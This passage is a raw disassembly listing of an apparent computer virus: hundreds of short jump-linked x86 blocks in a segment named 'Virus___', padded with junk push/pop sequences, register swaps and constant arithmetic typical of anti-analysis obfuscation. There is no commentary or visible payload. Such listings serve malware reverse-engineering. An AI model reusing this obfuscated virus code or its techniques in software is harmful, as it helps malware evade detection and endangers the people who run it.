		push	4272h
		mov	[esp], ebp
		push	ebx
		jmp	loc_560157
; ---------------------------------------------------------------------------


loc_561E44:				; CODE XREF: Virus___:0055D7FFj
		mov	al, cl
		mov	bh, al
		pop	eax
		mov	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_55F28E
; ---------------------------------------------------------------------------


loc_561E57:				; CODE XREF: Virus___:0055B38Fj
		add	ecx, 0F3440A46h
		jmp	loc_563092
; ---------------------------------------------------------------------------


loc_561E62:				; CODE XREF: Virus___:005557CCj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	al, dh
		pop	dx
		add	al, 9Ah
		jmp	loc_55318A
; ---------------------------------------------------------------------------


loc_561E74:				; CODE XREF: Virus___:00556250j
		push	esp
		pop	edi
		push	ebx
		jmp	loc_5562A4
; ---------------------------------------------------------------------------


loc_561E7C:				; CODE XREF: Virus___:005641DBj
		pop	dx
		add	al, bh
		sub	al, 2Fh
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 13h
		jmp	loc_5594CD
; ---------------------------------------------------------------------------


loc_561E8F:				; CODE XREF: Virus___:00561918j
		pop	ecx
		mov	ecx, [esp]
		jmp	loc_55B4A4
; ---------------------------------------------------------------------------


loc_561E98:				; CODE XREF: Virus___:00550730j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_559A89
; ---------------------------------------------------------------------------


loc_561EA5:				; CODE XREF: Virus___:0055CF6Dj
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 243A1FB3h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5648C8
; ---------------------------------------------------------------------------


loc_561EC2:				; CODE XREF: Virus___:00564726j
		push	edx
		push	7329226Bh
		jmp	loc_552872
; ---------------------------------------------------------------------------


loc_561ECD:				; CODE XREF: Virus___:00551DDFj
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, 48DB7F08h
		jmp	loc_5572DF
; ---------------------------------------------------------------------------


loc_561EE7:				; CODE XREF: Virus___:0055423Dj
		pop	ebx
		jmp	loc_55E2EC
; ---------------------------------------------------------------------------


loc_561EED:				; CODE XREF: Virus___:00555AC0j
		xor	ah, bl
		mov	ebx, [esp]
		jmp	loc_55F15F
; ---------------------------------------------------------------------------


loc_561EF7:				; CODE XREF: Virus___:0055140Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 646C59B8h
		add	edx, 0F10E246Ah
		sub	ecx, edx
		jmp	loc_563D85
; ---------------------------------------------------------------------------


loc_561F1C:				; CODE XREF: Virus___:00559311j
		mov	esp, [esp]
		pop	ecx
		add	ecx, 15D266E1h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55EEBB
; ---------------------------------------------------------------------------


loc_561F3D:				; CODE XREF: Virus___:005516B1j
		mov	dl, 0Dh
		push	ebx
		mov	bl, dl
		mov	cl, bl
		pop	ebx
		pop	edx
		push	edx
		jmp	loc_55C0C1
; ---------------------------------------------------------------------------


loc_561F4C:				; CODE XREF: Virus___:00550A8Aj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	edx, edi
		pop	edi
		jmp	loc_558DB6
; ---------------------------------------------------------------------------


loc_561F5B:				; CODE XREF: Virus___:00563FFEj
		mov	[esp], eax
		mov	eax, ebp
		mov	[edi+24h], eax
		pop	eax
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		xor	edx, edx
		push	63F7h
		mov	[esp], edi
		push	2938h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_557033
; ---------------------------------------------------------------------------


loc_561F89:				; CODE XREF: Virus___:00550343j
		pop	eax
		shl	esi, 2
		neg	esi
		add	esi, 1363A2AEh
		sub	ecx, 7A006B15h
		sub	ecx, esi
		add	ecx, 7A006B15h
		pop	esi
		add	eax, 0B8509D3h
		jmp	loc_55AC56
; ---------------------------------------------------------------------------


loc_561FAE:				; CODE XREF: Virus___:0055801Bj
		mov	esi, 104320h
		sub	eax, 64F6E78h
		sub	eax, esi
		jmp	loc_55AF77
; ---------------------------------------------------------------------------


loc_561FBF:				; CODE XREF: Virus___:00559EFCj
		mov	edi, 7BE520B1h
		jmp	loc_55BB31
; ---------------------------------------------------------------------------


loc_561FC9:				; CODE XREF: Virus___:0055C009j
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_55ED2D
; ---------------------------------------------------------------------------


loc_561FD3:				; CODE XREF: Virus___:00551E70j
		xor	eax, [esp]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_561FDF:				; CODE XREF: Virus___:005608A5j
		shr	eax, 0Eh
		jmp	loc_553835
; ---------------------------------------------------------------------------


loc_561FE7:				; CODE XREF: Virus___:00564239j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_55FAF7
; ---------------------------------------------------------------------------


loc_561FF3:				; CODE XREF: Virus___:0055B003j
		xor	esi, ebp
		pop	ebp
		jmp	loc_551CFA
; ---------------------------------------------------------------------------


loc_561FFB:				; CODE XREF: Virus___:00550C5Aj
		push	ecx
		mov	ecx, 1F354F5Eh
		sub	[esp+4], ecx
		pop	ecx
		pop	ecx
		add	ecx, 1F354F5Eh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		jmp	loc_563221
; ---------------------------------------------------------------------------


loc_56201D:				; CODE XREF: Virus___:0056357Cj
		or	ecx, 33041B9Eh
		and	ecx, 2AF56936h
		xor	ecx, 57BD98CBh
		sub	edx, ecx
		pop	ecx
		push	edx
		jmp	loc_5513D8
; ---------------------------------------------------------------------------


loc_562038:				; CODE XREF: Virus___:0055DED5j
		pop	esi
		neg	eax
		jmp	loc_5592AF
; ---------------------------------------------------------------------------


loc_562040:				; CODE XREF: Virus___:0055A9DBj
		add	esp, 4
		xor	ebp, edi
		pop	edi
		add	eax, 1FC302B9h
		add	eax, ebp
		push	esi
		mov	esi, 1FC302B9h
		sub	eax, esi
		pop	esi
		pop	ebp
		add	ebx, 303B7688h
		jmp	loc_5624D0
; ---------------------------------------------------------------------------


loc_562065:				; CODE XREF: Virus___:0055DFC3j
		sub	edx, eax
		pop	eax
		add	edx, 0F9C952F4h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5592A7
; ---------------------------------------------------------------------------


loc_56207B:				; CODE XREF: Virus___:0055A5D1j
		sub	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_561480
; ---------------------------------------------------------------------------


loc_56208C:				; CODE XREF: Virus___:00550825j
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 1FDE5D8Dh
		and	ebx, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		mov	esi, 1
		add	ebx, esi
		pop	esi
		push	3A89h
		mov	[esp], ebp
		mov	ebp, 0E269CBFFh
		add	ebx, ebp
		jmp	loc_5514E1
; ---------------------------------------------------------------------------


loc_5620CE:				; CODE XREF: Virus___:005637C1j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5517C6
; ---------------------------------------------------------------------------


loc_5620F7:				; CODE XREF: Virus___:00561645j
		sub	eax, esi
		pop	esi
		jmp	loc_554C4A
; ---------------------------------------------------------------------------


loc_5620FF:				; CODE XREF: Virus___:00555E52j
		pop	edi
		jmp	loc_552922
; ---------------------------------------------------------------------------


loc_562105:				; CODE XREF: Virus___:0055F90Fj
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		push	18FDh
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	edi
		push	0F2Fh
		mov	[esp], esi
		mov	esi, 5675164Ch
		push	ebx
		mov	ebx, 77FA327Bh
		jmp	loc_56120E
; ---------------------------------------------------------------------------


loc_56213C:				; CODE XREF: Virus___:0055CB3Fj
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_561531
; ---------------------------------------------------------------------------


loc_56214B:				; CODE XREF: Virus___:00556B69j
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ecx, edx
		pop	edx
		push	ebp
		jmp	loc_5590AA
; ---------------------------------------------------------------------------


loc_562175:				; CODE XREF: Virus___:00561B78j
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	130h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_560CA4
; ---------------------------------------------------------------------------


loc_56218C:				; CODE XREF: Virus___:0055FEA9j
		xor	ebx, 58453555h
		jmp	loc_552C2F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55599F
; ---------------------------------------------------------------------------


loc_5621A3:				; CODE XREF: Virus___:005556CEj
		pop	esi
		jmp	loc_556C87
; ---------------------------------------------------------------------------


loc_5621A9:				; CODE XREF: Virus___:0055AD0Bj
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		sub	edi, 60326F42h
		add	edi, ebp
		add	edi, 60326F42h
		jmp	loc_55F1C4
; ---------------------------------------------------------------------------


loc_5621C4:				; CODE XREF: Virus___:0055CA40j
		mov	[esp], ecx
		mov	ch, dh
		mov	[edi+eax*4], ch
		pop	ecx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		jmp	loc_5551E9
; ---------------------------------------------------------------------------


loc_5621D8:				; CODE XREF: Virus___:00559192j
		and	bh, 75h
		jmp	loc_5503FC
; ---------------------------------------------------------------------------


loc_5621E0:				; CODE XREF: Virus___:0055C208j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55971D
; ---------------------------------------------------------------------------


loc_5621F7:				; CODE XREF: Virus___:0055FC3Bj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	eax, 76F776C3h
		sub	eax, 299835C3h
		add	eax, ebx
		jmp	loc_557589
; ---------------------------------------------------------------------------


loc_56220F:				; CODE XREF: Virus___:0055DA89j
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55A690
; ---------------------------------------------------------------------------


loc_562220:				; CODE XREF: Virus___:00562FE0j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		pop	eax


loc_56222B:				; CODE XREF: Virus___:00556B7Fj
		push	esi
		mov	esi, ebx
		jmp	loc_55A811
; ---------------------------------------------------------------------------


loc_562233:				; CODE XREF: Virus___:0055D714j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	ebp, 6A571206h
		pop	esi
		jmp	loc_557A00
; ---------------------------------------------------------------------------


loc_562249:				; CODE XREF: Virus___:00559266j
		shr	esi, 8
		and	esi, 64B724B4h
		and	esi, 880BEDh
		sub	esi, 0FFFFFFFCh
		jmp	loc_55E4F8
; ---------------------------------------------------------------------------


loc_562263:				; CODE XREF: Virus___:00562B1Fj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_56073E
; ---------------------------------------------------------------------------


loc_562271:				; CODE XREF: Virus___:00556EF2j
		pop	edx
		sub	esi, ebp
		pop	ebp
		jmp	loc_55FB74
; ---------------------------------------------------------------------------


loc_56227A:				; CODE XREF: Virus___:00551A3Dj
		xor	esi, 0B092951h
		push	ebp
		mov	ebp, 115C4047h
		jmp	loc_5519E4
; ---------------------------------------------------------------------------


loc_56228B:				; CODE XREF: Virus___:0055CC23j
		add	dword ptr [esp+4], 0CD42C00h
		jmp	loc_559BEA
; ---------------------------------------------------------------------------


loc_562298:				; CODE XREF: Virus___:0055BC31j
		pop	esp
		jmp	loc_55EABD
; ---------------------------------------------------------------------------


loc_56229E:				; CODE XREF: Virus___:0055F199j
		sub	eax, 2C122B04h
		add	eax, 5D877C85h
		add	eax, esi
		sub	eax, 5D877C85h
		jmp	loc_562B4F
; ---------------------------------------------------------------------------


loc_5622B4:				; CODE XREF: Virus___:00559A12j
		push	dword ptr [esp]
		pop	ecx
		push	0AD0h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_55BC7E
; ---------------------------------------------------------------------------


loc_5622C7:				; CODE XREF: Virus___:0055C564j
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_552822
		push	esi
		jmp	loc_54FE2A
; ---------------------------------------------------------------------------


loc_5622DB:				; CODE XREF: Virus___:00555C38j
		pop	ax
		jmp	loc_5556EB
; ---------------------------------------------------------------------------


loc_5622E2:				; CODE XREF: Virus___:00550609j
		add	ebp, 761D5828h
		sub	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 75F569DCh
		add	esi, eax
		jmp	loc_552BDE
; ---------------------------------------------------------------------------


loc_5622F8:				; CODE XREF: Virus___:00562A83j
		pop	ebp
		jmp	loc_55C308
; ---------------------------------------------------------------------------


loc_5622FE:				; CODE XREF: Virus___:00562789j
		push	ebp
		mov	ebp, 0B5B3719h
		shr	ebp, 3
		jmp	loc_5587D2
; ---------------------------------------------------------------------------


loc_56230C:				; CODE XREF: Virus___:00556D24j
		xchg	ecx, esi
		not	ecx
		jmp	loc_55181A
; ---------------------------------------------------------------------------


loc_562315:				; CODE XREF: Virus___:00552915j
		xor	ebx, 746CFD8Eh
		jmp	loc_55967B
; ---------------------------------------------------------------------------


loc_562320:				; CODE XREF: Virus___:00552673j
		pop	ebx
		push	edi
		jmp	loc_5619A9
; ---------------------------------------------------------------------------


loc_562327:				; CODE XREF: Virus___:0055C3F5j
		mov	[ecx], eax
		pop	ecx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5558B4
; ---------------------------------------------------------------------------


loc_562345:				; CODE XREF: Virus___:0055D73Dj
		xor	ebp, 15673EC0h
		mov	edx, ebp
		pop	ebp
		sub	edi, edx
		pop	edx
		jmp	loc_563596
; ---------------------------------------------------------------------------


loc_562356:				; CODE XREF: Virus___:0055749Bj
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		jmp	loc_555DFD
; ---------------------------------------------------------------------------


loc_562362:				; CODE XREF: Virus___:0055A0CDj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_559BFF
; ---------------------------------------------------------------------------


loc_56236F:				; CODE XREF: Virus___:00557487j
		push	dword ptr [esp]
		jmp	loc_557858
; ---------------------------------------------------------------------------


loc_562377:				; CODE XREF: Virus___:0055A414j
		neg	ebx
		xor	ebx, 0FF93E784h
		add	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 194468BFh
		shr	ebx, 4
		xor	ebx, 194468Fh
		add	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_552052
; ---------------------------------------------------------------------------


loc_5623BB:				; CODE XREF: Virus___:00557908j
		push	ebp
		push	edi
		mov	edi, 45BD2030h
		add	edi, 33111C0Dh
		neg	edi
		shl	edi, 6
		jmp	loc_55FD61
; ---------------------------------------------------------------------------


loc_5623D2:				; CODE XREF: Virus___:0055D616j
		push	ebx
		mov	ebx, 0
		sub	ebx, eax
		jmp	loc_55B0D6
; ---------------------------------------------------------------------------


loc_5623DF:				; CODE XREF: Virus___:00560121j
		mov	esi, [esp]
		jmp	loc_5586A3
; ---------------------------------------------------------------------------


loc_5623E7:				; CODE XREF: Virus___:0055D9AFj
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_560251
; ---------------------------------------------------------------------------


loc_5623F6:				; CODE XREF: Virus___:005530F0j
		push	edi
		push	bx
		push	ebp
		push	ebx
		mov	bx, 6FE2h
		mov	bp, bx
		pop	ebx
		add	bp, 4970h
		not	bp
		jmp	loc_5523D8
; ---------------------------------------------------------------------------


loc_562410:				; CODE XREF: Virus___:00552752j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_56241B:				; CODE XREF: Virus___:0055C387j
		mov	ebx, eax
		jmp	loc_5586C4
; ---------------------------------------------------------------------------


loc_562422:				; CODE XREF: Virus___:0055537Bj
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_557927
; ---------------------------------------------------------------------------


loc_562446:				; CODE XREF: Virus___:00553C20j
		mov	[esp], edx
		mov	edx, 4
		sub	ebx, 79FD4E37h
		sub	ebx, edx
		add	ebx, 79FD4E37h
		pop	edx
		jmp	loc_55D3EF
; ---------------------------------------------------------------------------


loc_562462:				; CODE XREF: Virus___:0055A72Cj
		add	edx, 4
		jmp	loc_552C1A
; ---------------------------------------------------------------------------


loc_56246A:				; CODE XREF: Virus___:00560C7Ej
		push	ecx
		jmp	loc_556FFA
; ---------------------------------------------------------------------------


loc_562470:				; CODE XREF: Virus___:005564BBj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_55F858
; ---------------------------------------------------------------------------


loc_56248F:				; CODE XREF: Virus___:00560715j
		mov	[esp], esi
		push	edx
		mov	edx, 0F7B75ECh
		xchg	edi, edx
		inc	edi
		jmp	loc_54F924
; ---------------------------------------------------------------------------


loc_5624A0:				; CODE XREF: Virus___:00560612j
		and	ecx, 433F75EAh
		xor	ecx, 4A425C1Eh
		jmp	loc_5629D8
; ---------------------------------------------------------------------------


loc_5624B1:				; CODE XREF: Virus___:0055C6F5j
		pop	eax
		add	esp, 4
		jmp	loc_55815D
; ---------------------------------------------------------------------------


loc_5624BD:				; CODE XREF: Virus___:005501ECj
		dec	ebp
		push	6443h
		mov	[esp], ecx
		mov	ecx, 2A3C7A40h
		jmp	loc_557FCB
; ---------------------------------------------------------------------------


loc_5624D0:				; CODE XREF: Virus___:00562060j
		add	ebx, eax
		push	esi
		push	eax
		mov	eax, 303B7688h
		mov	esi, eax
		pop	eax
		add	ebx, 3EB00299h
		jmp	loc_55B48C
; ---------------------------------------------------------------------------


loc_5624E7:				; CODE XREF: Virus___:00554108j
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	7205h
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_55938F
; ---------------------------------------------------------------------------


loc_562503:				; CODE XREF: Virus___:00558BFBj
		sub	al, 0B2h
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 18491532h
		shr	ebx, 3
		neg	ebx
		add	ebx, 59927A23h
		add	ebx, 0A976A887h
		add	ebp, ebx
		pop	ebx
		jmp	loc_553933
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_54FEFB
; ---------------------------------------------------------------------------


loc_562536:				; CODE XREF: Virus___:00562BDEj
		add	esi, 0E365B609h
		sub	ebx, esi
		pop	esi
		sub	ebx, edi
		jmp	loc_558E20
; ---------------------------------------------------------------------------
		push	60h
		sub	esp, 4
		jmp	loc_5569E1
; ---------------------------------------------------------------------------
		push	esi
		push	edi
		push	48BC050Eh
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55309D
; ---------------------------------------------------------------------------


loc_562573:				; CODE XREF: Virus___:0055A22Aj
		push	ecx
		jmp	loc_55AD4A
; ---------------------------------------------------------------------------


loc_562579:				; CODE XREF: Virus___:00564B51j
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_56258E:				; CODE XREF: Virus___:0055CBA6j
		sub	ecx, ebp
		jmp	loc_561500
; ---------------------------------------------------------------------------


loc_562595:				; CODE XREF: Virus___:00564292j
		mov	ebp, [esp]
		jmp	loc_553C99
; ---------------------------------------------------------------------------


loc_56259D:				; CODE XREF: Virus___:005640A9j
		xor	edx, eax
		jmp	loc_560F00
; ---------------------------------------------------------------------------


loc_5625A4:				; CODE XREF: Virus___:0055D8CCj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_562A80
; ---------------------------------------------------------------------------


loc_5625B5:				; CODE XREF: Virus___:0054FD71j
		sub	esp, 4
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		jmp	loc_5637F4
; ---------------------------------------------------------------------------


loc_5625CB:				; CODE XREF: Virus___:00550E4Dj
		pop	eax
		sub	ch, bl
		jmp	loc_5608F9
; ---------------------------------------------------------------------------


loc_5625D3:				; CODE XREF: Virus___:00561D74j
		add	esi, 4
		jmp	loc_56304B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5625EA:				; CODE XREF: Virus___:0055BB75j
		and	edi, 5C9E3C89h
		jmp	loc_554C86
; ---------------------------------------------------------------------------


loc_5625F5:				; CODE XREF: Virus___:0055DCBFj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_560776
; ---------------------------------------------------------------------------


loc_56260C:				; CODE XREF: Virus___:00555884j
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		idiv	ecx
		jmp	loc_552662
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 35h
		add	al, 96h
		sub	al, bl
		jmp	loc_5502C6
; ---------------------------------------------------------------------------


loc_562633:				; CODE XREF: Virus___:00554A1Bj
		add	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		jmp	loc_56185D
; ---------------------------------------------------------------------------


loc_562659:				; CODE XREF: Virus___:005632A6j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_550CA4
; ---------------------------------------------------------------------------


loc_56266E:				; CODE XREF: Virus___:00557EC2j
		sub	ebx, 75D66939h
		sub	edx, ebx
		pop	ebx
		push	6642h
		mov	[esp], edx
		pop	edi
		jmp	loc_5503D8
; ---------------------------------------------------------------------------


loc_562685:				; CODE XREF: Virus___:0055056Cj
		sub	ecx, 0A2B15D40h
		xor	edi, ecx
		pop	ecx
		xor	edi, 494E625Dh
		xor	edi, 2CB30AF1h
		add	ebx, edi
		mov	edi, [esp]
		push	ebx
		jmp	loc_54FF2B
; ---------------------------------------------------------------------------


loc_5626A5:				; CODE XREF: Virus___:0056474Bj
		mov	[esp], eax
		mov	eax, 7111094Eh
		push	edx
		push	edi
		push	29214799h
		jmp	loc_561C8B
; ---------------------------------------------------------------------------


loc_5626B9:				; CODE XREF: Virus___:0055AFA2j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5584E2
; ---------------------------------------------------------------------------


loc_5626C5:				; CODE XREF: Virus___:0055067Dj
		mov	[esp], ebp
		jmp	loc_551ADD
; ---------------------------------------------------------------------------


loc_5626CD:				; CODE XREF: Virus___:0055D823j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_552A0B
; ---------------------------------------------------------------------------


loc_5626D6:				; CODE XREF: Virus___:00558179j
		pop	ebp
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55A96F
; ---------------------------------------------------------------------------


loc_5626F7:				; CODE XREF: Virus___:00551D4Dj
		push	eax
		jmp	loc_554ED2
; ---------------------------------------------------------------------------


loc_5626FD:				; CODE XREF: Virus___:005557C4j
		push	edx
		mov	edx, esp
		push	7317h
		mov	[esp], ebp
		mov	ebp, 4
		push	esi
		mov	esi, 2DE920BFh
		jmp	loc_560646
; ---------------------------------------------------------------------------


loc_562718:				; CODE XREF: Virus___:0055B7A4j
		pop	esp
		push	ecx
		push	5513h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 6AA93512h
		jmp	loc_55D221
; ---------------------------------------------------------------------------


loc_562737:				; CODE XREF: Virus___:00551484j
		or	ecx, 3FE70A33h
		jmp	loc_5542D9
; ---------------------------------------------------------------------------


loc_562742:				; CODE XREF: Virus___:0055495Dj
		mov	edi, 44D838BDh
		sub	edi, 44D838B9h
		push	edi
		jmp	loc_552BEF
; ---------------------------------------------------------------------------


loc_562753:				; CODE XREF: Virus___:0055AC43j
		and	ecx, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5622FE
; ---------------------------------------------------------------------------


loc_56278E:				; CODE XREF: Virus___:00554BD0j
		pop	edi
		shl	edi, 2
		add	edi, 38FE1CF2h
		push	edx
		jmp	loc_5515FA
; ---------------------------------------------------------------------------


loc_56279E:				; CODE XREF: Virus___:005632F9j
		pop	esi
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 39F55D08h
		jmp	loc_55D397
; ---------------------------------------------------------------------------


loc_5627AD:				; CODE XREF: Virus___:005588D6j
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0BFB6140h
		mov	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 37B25953h
		or	ebx, 3026496Bh
		add	ebx, 26ECAFF2h
		jmp	loc_558499
; ---------------------------------------------------------------------------


loc_5627D6:				; CODE XREF: Virus___:0055AA4Cj
		add	esi, 4
		push	ebp
		jmp	loc_55F64B
; ---------------------------------------------------------------------------


loc_5627E2:				; CODE XREF: Virus___:005594C8j
		pop	ebp
		jmp	loc_55E2A8
; ---------------------------------------------------------------------------


loc_5627E8:				; CODE XREF: Virus___:00561156j
		mov	[esp], edx
		mov	edx, 4B253118h
		add	ebp, edx
		pop	edx
		xor	ebp, 54C83939h
		jmp	loc_55CF66
; ---------------------------------------------------------------------------


loc_5627FE:				; CODE XREF: Virus___:00559202j
		mov	ecx, [esp]
		jmp	loc_55D690
; ---------------------------------------------------------------------------


loc_562806:				; CODE XREF: Virus___:00553CB9j
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_5545DC
; ---------------------------------------------------------------------------


loc_562816:				; CODE XREF: Virus___:0054FA69j
		push	esi
		jmp	loc_560FE0
; ---------------------------------------------------------------------------


loc_56281C:				; CODE XREF: Virus___:0055481Ej
		mov	ch, al
		jmp	loc_56290E
; ---------------------------------------------------------------------------


loc_562823:				; CODE XREF: Virus___:0055BC4Aj
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 17AB3796h
		sub	ecx, 67C606DCh
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55912C
; ---------------------------------------------------------------------------


loc_562846:				; CODE XREF: Virus___:0055FF5Dj
		sub	edx, 0B0A4E2A6h
		xor	edi, edx
		pop	edx
		mov	ebp, edi
		pop	edi
		and	ecx, ebp
		jmp	loc_5570E5
; ---------------------------------------------------------------------------


loc_562859:				; CODE XREF: Virus___:005569EBj
		mov	[esp], eax
		push	ebp
		push	574359F9h
		pop	ebp
		mov	eax, 596C15C1h
		xor	eax, ebp
		pop	ebp
		shr	eax, 4
		shl	eax, 8
		inc	eax
		push	esi
		mov	esi, 74207AA2h
		add	esi, 0C1D6DDE4h
		add	eax, esi
		pop	esi
		sub	eax, 18EC1B83h
		add	esi, eax
		jmp	loc_5579D2
; ---------------------------------------------------------------------------


loc_56288D:				; CODE XREF: Virus___:0055E430j
		pop	ebp
		jmp	loc_55826B
; ---------------------------------------------------------------------------


loc_562893:				; CODE XREF: Virus___:00560A53j
		sub	ecx, 2
		jmp	loc_5613FD
; ---------------------------------------------------------------------------


loc_56289E:				; CODE XREF: Virus___:0055F149j
		sub	edx, 7ACD3EA4h
		sub	edx, 157A7739h
		add	edx, esi
		add	edx, 157A7739h
		jmp	loc_55729D
; ---------------------------------------------------------------------------


loc_5628B7:				; CODE XREF: Virus___:0055A14Ej
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_559C98
; ---------------------------------------------------------------------------
